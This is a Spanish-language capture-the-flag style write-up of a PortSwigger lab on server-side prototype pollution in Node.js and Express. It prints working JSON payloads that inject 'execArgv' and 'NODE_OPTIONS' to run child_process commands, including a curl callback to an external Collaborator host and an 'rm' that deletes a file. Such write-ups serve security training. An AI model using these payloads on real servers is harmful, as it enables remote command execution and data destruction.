Entrada

Remote code execution via server-side prototype pollution

Laboratorio de Portswigger sobre Prototype Pollution

Remote code execution via server-side prototype pollution

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio está construido sobre Node.js y el framework Express. Es vulnerable a prototype pollution del lado del servidor porque fusiona de forma insegura la entrada controlada por el usuario en un objeto JavaScript del lado del servidor. Debido a la configuración del servidor, es posible contaminar el Object.prototype de tal manera que se pueden inyectar comandos que luego se ejecutan en el servidor. Para completar el laboratorio debemos de borrar el archivo /home/carlos/morale.txt. Podemos iniciar sesión en nuestra cuenta con las credenciales wiener:peter


Resolución

Al acceder a la web vemos esto

Pulsamos en My account y nos logueamos con las credenciales wiener:peter

Vemos que podemos acceder al admin panel

Si pulsamos sobre el botón Submit y miramos el Logger de Burpsuite vemos que se realiza esta petición

Lo primero que vamos a hacer es ver si podemos envenenar el prototipo. Para ello, vamos a usar este payload "__proto__":{"json spaces":10}. Como podemos ver, hemos conseguido envenenar el prototipo

Si pulsamos sobre admin panel, vemos que nos sale esto

Si pulsamos sobre Run maintenance jobs nos devuelve este mensaje

Si capturamos la petición con Burpsuite vemos esto

Al tener que borrar un archivo, vamos a necesitar ejecutar comandos. Como he visto el campo tasks, he pensado que puede estar corriendo un proceso hijos de node para cada tarea . Para verificar esto podemos usar cualquiera de estos payloads:

1
2
3
4
"__proto__": {
    "shell": "node",
    "NODE_OPTIONS": "--inspect=TU-ID-COLLABORATOR.oastify.com\"\".oastify\"\".com"
}
1
2
3
4
5
"__proto__": {
  "execArgv": [
    "--eval=require('child_process').execSync('curl https://YOUR-COLLABORATOR-ID.oastify.com')"
  ]
}

Una vez hemos envenenado el prototipo, lo que tenemos que hacer es hacer que se ejecuten los procesos hijos de node. Para ello pulsamos en Run maintenance jobs

Una vez hecho esto, si nos dirigimos a Burpsuite Collaborator vemos que nos han llegado 4 peticiones

El siguiente paso que vamos a hacer es ejecutar comandos y eliminar el archivo morale.txt

1
2
3
4
5
"__proto__": {
  "execArgv": [
    "--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
  ]
}

Para que se ejecute el comando debemos de pulsar de nuevo sobre Run maintenance jobs

Esta entrada está licenciada bajo CC BY 4.0 por el autor.